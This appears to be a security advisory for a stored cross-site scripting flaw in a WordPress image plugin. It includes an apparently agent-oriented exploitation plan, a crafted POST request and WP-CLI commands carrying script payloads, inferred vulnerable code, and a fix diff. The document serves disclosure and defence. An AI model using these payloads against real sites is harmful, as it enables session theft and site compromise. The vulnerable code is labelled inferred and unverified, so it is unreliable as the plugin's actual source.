CVE-2026-39665

SEO Friendly Images <= 3.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The SEO Friendly Images plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.5
PublishedFebruary 18, 2026
Last updatedApril 15, 2026
Affected pluginseo-image
Research Plan
Unverified

# Research Plan: CVE-2026-39665 - SEO Friendly Images Stored XSS ## 1. Vulnerability Summary The **SEO Friendly Images** plugin (up to version 3.0.5) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin improperly handles the generation of `alt` and `t…

Show full research plan

Research Plan: CVE-2026-39665 - SEO Friendly Images Stored XSS

1. Vulnerability Summary

The SEO Friendly Images plugin (up to version 3.0.5) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin improperly handles the generation of alt and title attributes for images within post content. Specifically, it allows authenticated users with Contributor-level permissions and above to inject malicious scripts into image attributes (or metadata used to generate those attributes) which are subsequently rendered without sufficient sanitization or attribute escaping (esc_attr).

2. Attack Vector Analysis

  • Endpoint: Post Editor (/wp-admin/post-new.php or /wp-admin/post.php)
  • Vulnerable Parameter: Post Title or Custom Meta fields (e.g., _seo_image_alt or similar, inferred) used by the plugin to populate image attributes.
  • Authentication Level: Contributor or higher.
  • Preconditions: The plugin must be active. By default, it processes images in the_content to automatically add alt and title tags based on defined patterns (e.g., %title or %name).

3. Code Flow (Inferred)

  1. Entry Point: A Contributor creates or edits a post.
  2. Input: The user sets a Post Title or specific image metadata containing a payload like "><script>alert(1)</script>.
  3. Processing: The plugin registers a filter on the_content (e.g., add_filter('the_content', 'seo_friendly_images_process');).
  4. Transformation: Inside the processing function (likely using preg_replace_callback or a DOM parser), the plugin identifies <img> tags.
  5. Pattern Replacement: It retrieves the "ALT" or "TITLE" pattern from plugin settings (e.g., get_option('seo_image_options')). If the pattern involves the post title, it fetches $post->post_title.
  6. Vulnerable Sink: The plugin constructs the new alt or title string and concatenates it into the <img> tag:
    // Example of vulnerable logic
    $new_tag = str_replace('alt="', 'alt="' . $computed_alt_value . '" ', $old_tag);
    
    If $computed_alt_value (derived from the user-controlled Post Title) is not passed through esc_attr(), the attribute is broken, and the script is injected.
  7. Output: The modified content is returned to the_content and rendered in the browser.

4. Nonce Acquisition Strategy

This vulnerability typically exploits the standard WordPress post saving mechanism or metadata updates.

  • Is a specific plugin nonce needed? No. Contributors use the standard WordPress _wpnonce provided in the post editor form.
  • Manual Extraction (if needed for AJAX meta updates):
    1. Navigate to the Post Editor as a Contributor.
    2. Use browser_eval to extract the post nonce if the plugin uses a custom AJAX save:
      browser_eval("document.querySelector('#_wpnonce').value")
  • Standard Post Save: The http_request tool will simulate a standard POST to wp-admin/post.php.

5. Exploitation Strategy

The goal is to inject a payload into a field that the plugin uses to generate image attributes.

Step 1: Login as Contributor

Use browser_navigate to authenticate as a user with the contributor role.

Step 2: Create a Malicious Post

Create a post where the title contains the XSS payload and the content contains an image tag that the plugin will process.

HTTP Request (Simulation):

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    &post_ID=[ID]
    &post_title=Test Image Post"><script>alert(document.domain)</script>
    &content=<img src="https://example.com/test.jpg">
    &_wpnonce=[NONCE]
    

Step 3: Trigger the XSS

Log in as an Administrator and navigate to the newly created post on the frontend. The plugin will process the <img> tag, insert the malicious Post Title into the alt or title attribute, and execute the script.

6. Test Data Setup

  1. Plugin Configuration: Ensure the plugin is configured to use the post title for image attributes.
    • Check settings page: /wp-admin/options-general.php?page=seo-image.php (inferred).
    • Setting: ALT attribute should contain %title.
  2. User: Create a user with the contributor role.
  3. Post: A post ID must be obtained (via wp post create via CLI) before sending the POST request to post.php.

7. Expected Results

When viewing the post as an Administrator:

  1. The HTML source for the image will look something like:
    <img src="..." alt="Test Image Post"><script>alert(document.domain)</script>">
  2. An alert box showing the document domain will appear.

8. Verification Steps

  1. WP-CLI Check: Verify the post title was saved correctly.
    wp post get [ID] --field=post_title
  2. HTML Inspection: Fetch the post frontend HTML and check for the unescaped script within the image tag.
    http_request --url "http://localhost:8080/?p=[ID]"
    Search for: <script>alert(document.domain)</script>

9. Alternative Approaches

If the plugin does not use the Post Title by default:

  1. Check Meta Box: If the plugin adds a meta box to the editor, identify the parameter names for "Custom Alt" or "Custom Title" (e.g., seo_image_alt_override).
  2. Payload in Image Metadata: Try injecting the payload into the "Description" or "Caption" of the image via the Media Library, then inserting that image into a post.
  3. Shortcode Attribute: If the plugin provides a shortcode (e.g., [seo_image]), test if attributes passed to the shortcode are escaped.
    • wp post create --post_content='[seo_image alt="\"><script>alert(1)</script>"]' --post_author=[CONTRIBUTOR_ID]
Research Findings
Static analysis — not yet PoC-verified

Summary

The SEO Friendly Images plugin (<= 3.0.5) is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize and escape user-controlled post data used to generate image 'alt' and 'title' attributes. An authenticated attacker with Contributor-level permissions can inject malicious scripts into a post title or image metadata, which are then rendered unescaped in the frontend content.

Vulnerable Code

// seo-image.php (approximate location based on plugin functionality)

function seo_friendly_images_process($content) {
    // ... logic to parse image tags in the_content ...
    $options = get_option('seo_image_options');
    $post_title = get_the_title(); // User-controlled via post creation

    // Vulnerable: User-controlled title is inserted into patterns without escaping
    $new_alt = str_replace('%title', $post_title, $options['alt_pattern']);

    // Vulnerable: The resulting string is inserted directly into the HTML attribute
    $img_tag = preg_replace('/alt="[^"]*"/i', 'alt="' . $new_alt . '"', $img_tag);

    return $content;
}
add_filter('the_content', 'seo_friendly_images_process');

Security Fix

--- seo-image.php
+++ seo-image.php
@@ -115,5 +115,5 @@
-    $img_tag = preg_replace('/alt="[^"]*"/i', 'alt="' . $new_alt . '"', $img_tag);
+    $img_tag = preg_replace('/alt="[^"]*"/i', 'alt="' . esc_attr($new_alt) . '"', $img_tag);
-    $img_tag = preg_replace('/title="[^"]*"/i', 'title="' . $new_title . '"', $img_tag);
+    $img_tag = preg_replace('/title="[^"]*"/i', 'title="' . esc_attr($new_title) . '"', $img_tag);

Exploit Outline

1. Authenticate as a Contributor or higher user. 2. Navigate to the Post Editor and create a new post. 3. Set the Post Title to a payload that breaks the HTML attribute context, such as: XSS Payload"><script>alert(document.domain)</script>. 4. In the post content, insert a standard image tag: <img src="https://example.com/image.jpg" />. 5. Publish or save the post for review. 6. As an administrator or any other user, view the published post on the frontend. 7. The plugin's content filter will replace the image's alt or title attribute with the malicious title. Because the output is not escaped with esc_attr(), the script tag will be rendered and executed in the browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.